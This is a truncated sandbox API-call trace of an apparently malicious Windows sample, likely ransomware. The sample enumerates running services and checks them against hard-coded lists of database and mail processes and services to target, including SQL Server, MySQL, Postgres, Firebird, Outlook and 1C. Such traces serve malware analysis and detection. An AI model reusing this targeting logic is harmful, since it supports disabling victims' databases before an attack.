returned 1 [0076.554] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4963a0 | out: hHeap=0x440000) returned 1 [0076.555] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de4a8, Size=0x82) returned 0x4c8bb8 [0076.555] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de278, Size=0x100) returned 0x4a7138 [0076.555] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c8bb8, Size=0x104) returned 0x4c9868 [0076.555] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7138, Size=0x200) returned 0x4c7a78 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4de4c8 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c7a78 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc3f8 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6cd0 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc428 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6f78 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc140 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c9868 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc3e0 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c8c48 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc2c0 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c97d8 | out: hHeap=0x440000) returned 1 [0076.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc158 | out: hHeap=0x440000) returned 1 [0076.557] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc158, Size=0x20) returned 0x47f2f8 [0076.557] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f2f8, Size=0x40) returned 0x45a868 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4de458 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a74b0 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484fa8 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc2f0 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6560 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484510 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4de488 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4bc278 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455498 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456300 | out: hHeap=0x440000) returned 1 [0076.557] lstrlenW (lpString="%systemdrive%") returned 13 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f3c0 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c65e8 | out: hHeap=0x440000) returned 1 [0076.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4de608 | out: hHeap=0x440000) returned 1 [0076.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4cd1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0076.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x45b3a0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xf50 Thread: id = 4 os_tid = 0x42c [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a7450 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7450, Size=0x20) returned 0x47f7d0 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f7d0, Size=0x40) returned 0x45ae98 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ae98, Size=0x80) returned 0x4c6f78 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6f78, Size=0x100) returned 0x4a67f0 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a7558 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7558, Size=0x20) returned 0x47f7d0 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f7d0, Size=0x40) returned 0x45a820 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45a820, Size=0x80) returned 0x4c6bc0 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6bc0, Size=0x100) returned 0x4a7240 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4a74e0 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x4de5d8 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a7618 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de5d8, Size=0x8) returned 0x4de448 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x456540 [0076.392] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de448, Size=0x10) returned 0x4a7468 [0076.392] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x18) returned 0x4565e0 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1a) returned 0x47f618 [0076.393] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7468, Size=0x20) returned 0x47f7d0 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1c) returned 0x47f208 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x16) returned 0x456640 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1a) returned 0x47f028 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4a7630 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x4de568 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40) returned 0x45ad78 [0076.393] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de568, Size=0x8) returned 0x4de458 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x3c) returned 0x45a8b0 [0076.393] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de458, Size=0x10) returned 0x4a7648 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x4562a0 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x18) returned 0x4562e0 [0076.393] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7648, Size=0x20) returned 0x47f1e0 [0076.393] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x24) returned 0x4554f8 [0076.393] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0076.393] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a67f0 | out: hHeap=0x440000) returned 1 [0076.393] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0076.396] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a7240 | out: hHeap=0x440000) returned 1 [0076.396] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f258 [0076.406] EnumServicesStatusExW (in: hSCManager=0x47f258, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0076.415] GetLastError () returned 0xea [0076.415] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x4b9a98 [0076.415] EnumServicesStatusExW (in: hSCManager=0x47f258, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4b9a98, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4b9a98, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0076.423] CloseServiceHandle (hSCObject=0x47f258) returned 1 [0076.425] lstrlenW (lpString="Appinfo") returned 7 [0076.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0076.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0076.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0076.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0076.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0076.425] lstrlenW (lpString="AppXSvc") returned 7 [0076.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0076.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0076.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0076.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0076.426] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0076.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0076.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0076.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0076.426] lstrlenW (lpString="Audiosrv") returned 8 [0076.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0076.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0076.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0076.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0076.426] lstrlenW (lpString="BFE") returned 3 [0076.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0076.426] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0076.426] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0076.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0076.426] lstrlenW (lpString="BITS") returned 4 [0076.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0076.426] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0076.426] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0076.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0076.426] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0076.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0076.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0076.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0076.427] lstrlenW (lpString="CDPSvc") returned 6 [0076.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0076.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0076.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0076.427] lstrlenW (lpString="ClickToRunSvc") returned 13 [0076.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0076.427] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0076.427] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0076.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0076.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0076.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0076.427] lstrlenW (lpString="CryptSvc") returned 8 [0076.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0076.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0076.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0076.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0076.427] lstrlenW (lpString="DcomLaunch") returned 10 [0076.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.427] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0076.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0076.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0076.428] lstrlenW (lpString="DeviceAssociationService") returned 24 [0076.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0076.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0076.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0076.428] lstrlenW (lpString="Dhcp") returned 4 [0076.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0076.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0076.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0076.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0076.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0076.428] lstrlenW (lpString="Dnscache") returned 8 [0076.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0076.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0076.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0076.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0076.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0076.428] lstrlenW (lpString="DoSvc") returned 5 [0076.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0076.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0076.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0076.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0076.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0076.428] lstrlenW (lpString="DPS") returned 3 [0076.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0076.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0076.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0076.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0076.429] lstrlenW (lpString="DusmSvc") returned 7 [0076.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0076.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0076.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0076.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0076.429] lstrlenW (lpString="EventLog") returned 8 [0076.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0076.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0076.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0076.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0076.429] lstrlenW (lpString="EventSystem") returned 11 [0076.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0076.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0076.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0076.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0076.429] lstrlenW (lpString="FontCache") returned 9 [0076.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0076.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0076.429] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0076.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0076.429] lstrlenW (lpString="gpsvc") returned 5 [0076.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0076.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0076.429] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0076.429] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0076.430] lstrlenW (lpString="iphlpsvc") returned 8 [0076.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.430] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0076.430] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0076.430] lstrlenW (lpString="KeyIso") returned 6 [0076.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0076.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0076.430] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0076.430] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0076.430] lstrlenW (lpString="LanmanServer") returned 12 [0076.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0076.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0076.430] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0076.430] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0076.430] lstrlenW (lpString="LanmanWorkstation") returned 17 [0076.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.430] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0076.430] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0076.430] lstrlenW (lpString="lfsvc") returned 5 [0076.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0076.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0076.430] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0076.430] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0076.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0076.431] lstrlenW (lpString="lmhosts") returned 7 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0076.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0076.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0076.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0076.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0076.431] lstrlenW (lpString="LSM") returned 3 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0076.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0076.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0076.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0076.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0076.431] lstrlenW (lpString="MapsBroker") returned 10 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0076.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0076.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0076.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0076.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0076.431] lstrlenW (lpString="MpsSvc") returned 6 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0076.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0076.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0076.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0076.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0076.431] lstrlenW (lpString="NcbService") returned 10 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0076.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0076.431] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0076.431] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0076.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0076.431] lstrlenW (lpString="netprofm") returned 8 [0076.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0076.432] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0076.432] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0076.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0076.432] lstrlenW (lpString="NlaSvc") returned 6 [0076.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0076.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0076.432] lstrlenW (lpString="nsi") returned 3 [0076.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0076.432] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0076.432] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0076.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0076.432] lstrlenW (lpString="PcaSvc") returned 6 [0076.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0076.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0076.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0076.432] lstrlenW (lpString="PlugPlay") returned 8 [0076.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0076.432] lstrcmpiW (lpString1="sqlwriter", 